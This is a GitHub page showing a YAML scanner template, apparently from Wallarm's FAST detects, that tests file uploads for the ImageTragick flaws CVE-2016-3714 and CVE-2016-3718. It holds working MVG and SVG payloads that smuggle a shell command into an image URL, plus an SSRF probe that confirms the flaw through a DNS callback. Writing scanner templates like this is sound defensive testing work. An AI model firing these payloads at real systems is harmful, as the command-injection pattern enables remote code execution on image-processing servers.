forked from wallarm/fast-detects
-
Notifications
You must be signed in to change notification settings - Fork 0
/
ImageTragick.yaml
36 lines (35 loc) · 1000 Bytes
/
ImageTragick.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
generate:
- into: 'POST_MULTIPART_.*_FILE_value'
- payload:
- !!str |
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|getent hosts DNS_MARKER")'
pop graphic-context
- !!str |
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink=
"http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/x.jpg"|getent hosts DNS_MARKER""
x="0" y="0" height="640px" width="480px"/>
</svg>
- !!str |
push graphic-context
viewbox 0 0 640 480
fill 'url(http://DNS_MARKER/)'
pop graphic-context
detect:
- oob:
- dns
meta-info:
- type: rce
- threat: 95
- tags:
- OS Commanding
- ImageMagic
- ImageTragick
- CVE-2016-3714
- CVE-2016-3718